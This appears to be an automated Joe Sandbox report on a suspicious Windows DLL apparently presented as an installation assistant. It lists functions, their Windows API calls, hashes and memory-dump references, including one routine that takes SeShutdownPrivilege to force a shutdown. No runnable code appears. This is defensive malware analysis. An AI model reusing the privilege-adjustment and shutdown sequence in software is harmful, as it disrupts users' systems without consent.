                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: Ios_base_dtorstd::ios_base::_
                                          • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                                          • API String ID: 323602529-1866435925
                                          • Opcode ID: c466e4e2271aa3c7b4638583e0f1e3244434d91fdce5e9cce9fe170c98589507
                                          • Instruction ID: 737c6524ce30a5dcd0de00ddfc5a7c46c5389278a4cf935857eb45c7fda948a3
                                          • Opcode Fuzzy Hash: c466e4e2271aa3c7b4638583e0f1e3244434d91fdce5e9cce9fe170c98589507
                                          • Instruction Fuzzy Hash: DC5153B5900B408FD725CF29C585B97BBF1BB48318F448A2DD8864BB90E779B949CF90
                                          Function 6CA3B925 Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7699 6ca3b925-6ca3b939 call 6ca415a2 7702 6ca3b93b-6ca3b93d 7699->7702 7703 6ca3b93f-6ca3b947 7699->7703 7704 6ca3b98d-6ca3b9ad call 6ca4171f 7702->7704 7705 6ca3b952-6ca3b955 7703->7705 7706 6ca3b949-6ca3b950 7703->7706 7715 6ca3b9bb 7704->7715 7716 6ca3b9af-6ca3b9b9 call 6ca2f9f2 7704->7716 7709 6ca3b973-6ca3b983 call 6ca415a2 CloseHandle 7705->7709 7710 6ca3b957-6ca3b95b 7705->7710 7706->7705 7708 6ca3b95d-6ca3b971 call 6ca415a2 * 2 7706->7708 7708->7702 7708->7709 7709->7702 7719 6ca3b985-6ca3b98b GetLastError 7709->7719 7710->7708 7710->7709 7721 6ca3b9bd-6ca3b9c0 7715->7721 7716->7721 7719->7704
                                          APIs
                                          • CloseHandle.KERNEL32(00000000,?,00000000,?,6CA4425F), ref: 6CA3B97B
                                          • GetLastError.KERNEL32(?,00000000,?,6CA4425F), ref: 6CA3B985
                                          • __dosmaperr.LIBCMT ref: 6CA3B9B0
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: CloseErrorHandleLast__dosmaperr
                                          • String ID:
                                          • API String ID: 2583163307-0
                                          • Opcode ID: 0ea085a356fe6e95cea444a76ac2f12656eaa63511ff88af6a64c2406191a123
                                          • Instruction ID: a37b54c761b80aa56328dce07fc7d633e057ca4037f9e9c76b78f06fbcd87fcc
                                          • Opcode Fuzzy Hash: 0ea085a356fe6e95cea444a76ac2f12656eaa63511ff88af6a64c2406191a123
                                          • Instruction Fuzzy Hash: 4E010C33B4593456C20446BAB9657BD27664B8373CF2D9359E91EC7BC0DB60C8CD4151
                                          Function 6CA30B9C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7944 6ca30b9c-6ca30ba7 7945 6ca30ba9-6ca30bbc call 6ca2f9cc call 6ca30120 7944->7945 7946 6ca30bbe-6ca30bcb 7944->7946 7957 6ca30c10-6ca30c12 7945->7957 7948 6ca30c06-6ca30c0f call 6ca3ae75 7946->7948 7949 6ca30bcd-6ca30be2 call 6ca30cb9 call 6ca3873e call 6ca39c60 call 6ca3b898 7946->7949 7948->7957 7963 6ca30be7-6ca30bec 7949->7963 7964 6ca30bf3-6ca30bf7 7963->7964 7965 6ca30bee-6ca30bf1 7963->7965 7964->7948 7966 6ca30bf9-6ca30c05 call 6ca347bb 7964->7966 7965->7948 7966->7948
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 8Q
                                          • API String ID: 0-4022487301
                                          • Opcode ID: 0eceabb69cc212cdc16fe4ea4eed4d534fb07063be66ce5869ee3001f537518c
                                          • Instruction ID: bf5bcb087e7e48a564e8ff06a39e07485eac30afc444d59eea7b22641edf1222
                                          • Opcode Fuzzy Hash: 0eceabb69cc212cdc16fe4ea4eed4d534fb07063be66ce5869ee3001f537518c
                                          • Instruction Fuzzy Hash: ACF026324016301BC6211A3A8E20BC732988F8237CF142705E86CD3ED0CB70D4CDC6A1
                                          Function 6CA25960 Relevance: 3.1, APIs: 2, Instructions: 108COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6CA25AB4
                                          • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 6CA25AF4
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: Ios_base_dtorstd::ios_base::_
                                          • String ID:
                                          • API String ID: 323602529-0
                                          • Opcode ID: 57db11fbeae8c4f3a7b9ee4b1c7862a1e42efcf1208262e0c9fc986b40c9ba29
                                          • Instruction ID: 9e6f46737641263b0cda2152080f8f8ad107ac0e66d3b479379f94dbe629e418
                                          • Opcode Fuzzy Hash: 57db11fbeae8c4f3a7b9ee4b1c7862a1e42efcf1208262e0c9fc986b40c9ba29
                                          • Instruction Fuzzy Hash: D1512871601B04DBD725CF29C585BE6BBF4BB04718F488A1CD4AA4BB91DB34F589CB81
                                          Function 6CA2EF3F Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(6CA56DD8,0000000C), ref: 6CA2EF52
                                          • ExitThread.KERNEL32 ref: 6CA2EF59
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ErrorExitLastThread
                                          • String ID:
                                          • API String ID: 1611280651-0
                                          • Opcode ID: 5d3ce5f261fe81b8cba8dc985524f1bbf6c0bf969e8fe685c31be9b1582dfbfc
                                          • Instruction ID: 862760444d3a83f45a46c7455b702cf14822dff205e206685c8244e90b9ef889
                                          • Opcode Fuzzy Hash: 5d3ce5f261fe81b8cba8dc985524f1bbf6c0bf969e8fe685c31be9b1582dfbfc
                                          • Instruction Fuzzy Hash: B8F0F672A00620AFDF05AFB0C519AAE7B74FF41315F188649E009DBB40CF3959D9CBA1
                                          Function 6CA3AF72 Relevance: 1.6, APIs: 1, Instructions: 59COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: __wsopen_s
                                          • String ID:
                                          • API String ID: 3347428461-0
                                          • Opcode ID: 570cd80ffd1b998fc7640a33c51a6032bc2bfbf37ab2d6203b4a524432079bb2
                                          • Instruction ID: f7508009c5e6d1ad568d34c10c7ca3e0e942b526fa503732f09ac706713f606d
                                          • Opcode Fuzzy Hash: 570cd80ffd1b998fc7640a33c51a6032bc2bfbf37ab2d6203b4a524432079bb2
                                          • Instruction Fuzzy Hash: 22116671A0420EAFCB05CF59E945A9B3BF9EF49308F044069F809EB311D631E915CBA4
                                          Function 6CA43FFE Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: _free
                                          • String ID:
                                          • API String ID: 269201875-0
                                          • Opcode ID: be7da6dea50fa55462c2689bd82912a63b2abf68e9cf5535eb42c5cf9c623313
                                          • Instruction ID: 7100dabf12af93b62b779816e912244b0d03c426131771ea6ee7fc27f2576a08
                                          • Opcode Fuzzy Hash: be7da6dea50fa55462c2689bd82912a63b2abf68e9cf5535eb42c5cf9c623313
                                          • Instruction Fuzzy Hash: 5C014F72C01159BFCF019FA88D00AEE7FB5AF48214F144165ED24E26A0E7358AA8DB91
                                          Function 6CA44457 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • CreateFileW.KERNEL32(00000000,00000000,?,6CA44115,?,?,00000000,?,6CA44115,00000000,0000000C), ref: 6CA44474
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: CreateFile
                                          • String ID:
                                          • API String ID: 823142352-0
                                          • Opcode ID: 553de6ec5bcb4c5b77743f5659d4385486b6e050df0bbd7cca746ddf538f6819
                                          • Instruction ID: e3d9eaebf3291d601c7fad8de75e248ede5104a14f5059e51f716e37e0c8aa3c
                                          • Opcode Fuzzy Hash: 553de6ec5bcb4c5b77743f5659d4385486b6e050df0bbd7cca746ddf538f6819
                                          • Instruction Fuzzy Hash: 15D06C3210020DBBDF028E84DC06EDA3BAAFB88714F028000BA1856020C732E872AB90
                                          Function 6C8F7F40 Relevance: 1.5, APIs: 1, Instructions: 1COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a80223a001130716628e74e8086c402ab21fb308a8a87af2905342d4276af0b1
                                          • Instruction ID: 90768e4d662c995a8c2ddd2370dcb6dd1ac4cb4195b20f410710f4d6a20a9083
                                          • Opcode Fuzzy Hash: a80223a001130716628e74e8086c402ab21fb308a8a87af2905342d4276af0b1
                                          • Instruction Fuzzy Hash:

                                          Non-executed Functions

                                          Function 6CA21880 Relevance: 10.5, APIs: 3, Strings: 1, Instructions: 3538COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: _strlen
                                          • String ID: g)''
                                          • API String ID: 4218353326-3487984327
                                          • Opcode ID: 3d2bbeb4b5bda410847e01675db4a0011b1acb6bca48b4e933d8741159d4e39f
                                          • Instruction ID: 58f34d78900e0fece94b2828aa66ae75ad4eef6471a68da99c4aa7cb12cd1048
                                          • Opcode Fuzzy Hash: 3d2bbeb4b5bda410847e01675db4a0011b1acb6bca48b4e933d8741159d4e39f
                                          • Instruction Fuzzy Hash: E363F231645B118FC728CF28C8D0A95B7F3AFD532871D8A6DC0E64BA55E779B48ACB40
                                          Function 6CA25D60 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 31nativeshutdownCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentProcess.KERNEL32 ref: 6CA25D6A
                                          • OpenProcessToken.ADVAPI32(00000000,00000028), ref: 6CA25D76
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 6CA25D84
                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 6CA25DAB
                                          • NtInitiatePowerAction.NTDLL ref: 6CA25DBF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ProcessToken$ActionAdjustCurrentInitiateLookupOpenPowerPrivilegePrivilegesValue
                                          • String ID: SeShutdownPrivilege
                                          • API String ID: 3256374457-3733053543
                                          • Opcode ID: 2cb4e4eb54372b79544c08ccaa9354bb72cc391cdaffc0731b6c2d2a6420fa43
                                          • Instruction ID: e2c7b01cc6fdcd00c90acfba1a7bcef7012ee11b79b5d5bd7cf3e799ddeb5e25
                                          • Opcode Fuzzy Hash: 2cb4e4eb54372b79544c08ccaa9354bb72cc391cdaffc0731b6c2d2a6420fa43
                                          • Instruction Fuzzy Hash: A3F09070644300BBEA00AB24DD0AB6A7BB4EF45705F018A08F985A7091D7B468948F92
                                          Function 6C8A1950 Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 594COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: \j`7$\j`7$j
                                          • API String ID: 0-3644614255
                                          • Opcode ID: 3796d433f9879423fac9cc3cdcbf8bb7a192c0f0333507e2565ee011a1523a9c
                                          • Instruction ID: be2058060578fac4104677e357102c81e09ca2f7ab6bd730da00fe7b81c43a58
                                          • Opcode Fuzzy Hash: 3796d433f9879423fac9cc3cdcbf8bb7a192c0f0333507e2565ee011a1523a9c
                                          • Instruction Fuzzy Hash: FA422474609382CFCB24CFA9C58065ABBE1ABC9354F584E1EE499C7761E334E846CB53
                                          Function 6CAB84AC Relevance: 8.7, APIs: 1, Strings: 3, Instructions: 1656COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CAB84B1
                                            • Part of subcall function 6CAB993B: __EH_prolog.LIBCMT ref: 6CAB9940
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: 1$`)K$h)K
                                          • API String ID: 3519838083-3935664338
                                          • Opcode ID: fb81dbfa73f61bd15ec69b15b7f2714c80bc06e5f8e59c27703e0bd61042d5ed
                                          • Instruction ID: 6b24a04a8557f530defec2dae40243d27f65e32587639f6a741b0234c611228a
                                          • Opcode Fuzzy Hash: fb81dbfa73f61bd15ec69b15b7f2714c80bc06e5f8e59c27703e0bd61042d5ed
                                          • Instruction Fuzzy Hash: FBF27C70904248DFDB11CFA8CA88BDDBBB9AF59308F284099E449BB751DB719A85CF11
                                          Function 6CAAAEEF Relevance: 8.3, APIs: 1, Strings: 2, Instructions: 3058COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CAAAEF4
                                            • Part of subcall function 6CAAE622: __EH_prolog.LIBCMT ref: 6CAAE627
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: $h%K
                                          • API String ID: 3519838083-1737110039
                                          • Opcode ID: 17cf35b80b03fcff345a605a7a63ea6e65b0b9a8420bc989c8341716572d16e6
                                          • Instruction ID: 1d8e1af8a06d99ac77496d93631139f695e7495706c1ea7b039f469014e91aff
                                          • Opcode Fuzzy Hash: 17cf35b80b03fcff345a605a7a63ea6e65b0b9a8420bc989c8341716572d16e6
                                          • Instruction Fuzzy Hash: A3538930D01258DFDB15CBE4CA94BEDBBB4AF09308F1441D8D44AA7691DB31AE8ACF61
                                          Function 6CABC7F3 Relevance: 6.8, APIs: 1, Strings: 2, Instructions: 1546COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog
                                          • String ID: $J
                                          • API String ID: 3519838083-1755042146
                                          • Opcode ID: bc8a295356575513f6860aba7bf9c3ae3d8e4be31f89be339654daa28ae8d27d
                                          • Instruction ID: 01490b971e72dbf8adc072da05471bfa504a065b87d852ea5a413a9ad1a250f4
                                          • Opcode Fuzzy Hash: bc8a295356575513f6860aba7bf9c3ae3d8e4be31f89be339654daa28ae8d27d
                                          • Instruction Fuzzy Hash: 03E2D070D05289DFEF01CFA8C558BDDBBB8AF05308F288099E855BB685CB74D985CB61
                                          Function 6CA86CE0 Relevance: 5.4, APIs: 1, Strings: 1, Instructions: 1923COMMON
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog.LIBCMT ref: 6CA86CE5
                                            • Part of subcall function 6CA5CC2A: __EH_prolog.LIBCMT ref: 6CA5CC2F
                                            • Part of subcall function 6CA5E6A6: __EH_prolog.LIBCMT ref: 6CA5E6AB
                                            • Part of subcall function 6CA86A0E: __EH_prolog.LIBCMT ref: 6CA86A13
                                            • Part of subcall function 6CA86837: __EH_prolog.LIBCMT ref: 6CA8683C
                                            • Part of subcall function 6CA8A143: __EH_prolog.LIBCMT ref: 6CA8A148
                                            • Part of subcall function 6CA8A143: ctype.LIBCPMT ref: 6CA8A16C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: H_prolog$ctype
                                          • String ID:
                                          • API String ID: 1039218491-3916222277
                                          • Opcode ID: 905438d877a3164863332086eaa33768b02ac55e5ee0ef1456ae7a8ba4df0a90
                                          • Instruction ID: e68b4a2c2f1914b104b597584e7791f1a4ce5e438e3b4a35ca0adf8154968232
                                          • Opcode Fuzzy Hash: 905438d877a3164863332086eaa33768b02ac55e5ee0ef1456ae7a8ba4df0a90
                                          • Instruction Fuzzy Hash: 3403AC30906288DFDF15CFA4CA44BDCBBB1AF15308F148099E449ABA91DB745ECDDB62
                                          Function 6CADC580 Relevance: 5.2, Strings: 4, Instructions: 153COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmp, Offset: 6CA58000, based on PE: true
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 3J$`/J$`1J$p0J
                                          • API String ID: 0-2826663437
                                          • Opcode ID: 0ce0cf568756059b319bec402cc4c845d2048d3ed56d6c8deb0de92fa915ba20
                                          • Instruction ID: 5b1faf1c824cd4b2b2461a0609b3988b1ec00cbe54d92b74ee36987008ee1f9c
                                          • Opcode Fuzzy Hash: 0ce0cf568756059b319bec402cc4c845d2048d3ed56d6c8deb0de92fa915ba20
